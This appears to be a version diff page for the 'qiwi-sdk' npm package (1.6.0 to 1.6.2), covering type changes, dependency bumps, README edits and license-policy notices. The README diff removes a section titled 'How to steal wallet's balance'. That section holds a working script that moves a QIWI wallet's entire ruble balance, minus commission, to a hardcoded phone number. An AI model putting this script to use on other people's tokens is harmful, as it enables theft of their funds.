Comparing version 1.6.0 to 1.6.2
@@ -5,2 +5,3 @@ /// <reference types="node" /> | ||
import type * as types from "./personal.types"; | ||
import { AnyResponse } from "./shared.types"; | ||
/** | ||
@@ -11,3 +12,3 @@ * Ошибка, которую выбрасывает персональное API в случае неправильного кода ответа от QIWI | ||
message: string; | ||
data?: Record<string, any> | undefined; | ||
data?: AnyResponse | undefined; | ||
/** | ||
@@ -17,3 +18,3 @@ * @param {string=} message Сообщение | ||
*/ | ||
constructor(message?: string, data?: Record<string, any> | undefined); | ||
constructor(message?: string, data?: AnyResponse | undefined); | ||
} | ||
@@ -20,0 +21,0 @@ /** |
@@ -545,3 +545,3 @@ export declare enum PersonIdentificationLevel { | ||
amount?: number; | ||
/** Комментарий. **Параметр используется только для ID=99** */ | ||
/** Комментарий. **Параметр используется только для `ID=99`** */ | ||
comment?: string; | ||
@@ -548,0 +548,0 @@ /** |
{ | ||
"name": "qiwi-sdk", | ||
"version": "1.6.0", | ||
"version": "1.6.2", | ||
"description": "Typed, Promise based, QIWI API (P2P & Personal) client", | ||
@@ -55,3 +55,3 @@ "main": "dist/index.js", | ||
"node-fetch": "^2.6.1", | ||
"query-string": "^6.14.0", | ||
"query-string": "^7.0.0", | ||
"sweet-decorators": "^1.8.0", | ||
@@ -61,5 +61,5 @@ "uuid": "^8.3.2" | ||
"devDependencies": { | ||
"@types/jest": "^26.0.14", | ||
"@types/node": "^14.14.28", | ||
"@types/node-fetch": "^2.5.7", | ||
"@types/jest": "^26.0.22", | ||
"@types/node": "^14.14.41", | ||
"@types/node-fetch": "^2.5.10", | ||
"@types/uuid": "^8.3.0", | ||
@@ -69,5 +69,5 @@ "@typescript-eslint/eslint-plugin": "^4.22.0", | ||
"dotenv": "^8.2.0", | ||
"eslint": "^7.24.0", | ||
"eslint": "^7.25.0", | ||
"eslint-config-google": "^0.14.0", | ||
"eslint-config-prettier": "^8.2.0", | ||
"eslint-config-prettier": "^8.3.0", | ||
"eslint-plugin-import": "^2.22.1", | ||
@@ -77,11 +77,11 @@ "eslint-plugin-prettier": "^3.4.0", | ||
"eslint-plugin-security": "^1.4.0", | ||
"eslint-plugin-unicorn": "^30.0.0", | ||
"eslint-plugin-unicorn": "^31.0.0", | ||
"husky": "^6.0.0", | ||
"jest": "^26.5.3", | ||
"jest": "^26.6.3", | ||
"prettier": "^2.2.1", | ||
"rimraf": "^3.0.2", | ||
"runtypes": "^5.0.1", | ||
"ts-jest": "^26.5.1", | ||
"ts-node": "^9.0.0", | ||
"typescript": "^4.1.5" | ||
"runtypes": "^6.2.1", | ||
"ts-jest": "^26.5.5", | ||
"ts-node": "^9.1.1", | ||
"typescript": "^4.2.4" | ||
}, | ||
@@ -88,0 +88,0 @@ "husky": { |
@@ -29,4 +29,4 @@ # 🥝 NodeJS QIWI SDK | ||
- [✏️ Примеры / Examples](#️-примеры--examples) | ||
- [🌐 Перевод через **СБП** **`[NEW]`**](#-перевод-через-сбп-new) | ||
- [🔎 Получение информации о владельце кошелька](#-получение-информации-о-владельце-кошелька) | ||
- [💰 Как слить баланс кошелька](#-как-слить-баланс-кошелька) | ||
- [🔑 Создание пары ключей для взаимодействия с P2P](#-создание-пары-ключей-для-взаимодействия-с-p2p) | ||
@@ -62,2 +62,6 @@ - [🧱 Получение Лимитов (на TypeScript)](#-получение-лимитов-на-typescript) | ||
### 🌐 Перевод через **[СБП](https://sbp.nspk.ru)** **`[NEW]`** | ||
Смотрите подробнее в [docs/SRP.md](docs/SRP.md) | ||
### 🔎 Получение информации о владельце кошелька | ||
@@ -77,44 +81,2 @@ | ||
### 💰 Как слить баланс кошелька | ||
**🇬🇧: `How to steal wallet's balance`** | ||
**⚠️ Если вы делаете это другим людям без их согласия - это противозаконно, я оставляю это тут, потому что это хороший пример комплексного использования API** | ||
**🇬🇧: `If you do this to other people without their consent, it is illegal, I leave it here because it is a good example of complex API use.`** | ||
```javascript | ||
const QIWI = require("qiwi-sdk"); | ||
const qp = new QIWI.Personal(process.env.QIWI_TOKEN); | ||
const receiver = "+79123456789"; | ||
const provider = 99; | ||
async function main() { | ||
const profile = await qp.getPersonProfile(); | ||
const wallet = profile.authInfo.personId.toString(); | ||
const accounts = await qp.getAccounts(wallet); | ||
const rubleAccount = accounts.find( | ||
(accumulator) => | ||
accumulator.balance && | ||
accumulator.balance.currency === Personal.Currency.RUB | ||
); | ||
const commission = await qp.getCommission( | ||
provider, | ||
receiver, | ||
rubleAccount.balance.amount | ||
); | ||
const totalToSteal = rubleAccount.balance.amount - commission; | ||
const payment = await qp.pay(provider, receiver, totalToSteal); | ||
console.log(payment); | ||
} | ||
main(); | ||
``` | ||
### 🔑 Создание пары ключей для взаимодействия с P2P | ||
@@ -121,0 +83,0 @@ |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
159775
25
2341
139
+ Addedquery-string@7.1.3(transitive)
- Removedquery-string@6.14.1(transitive)
Updatedquery-string@^7.0.0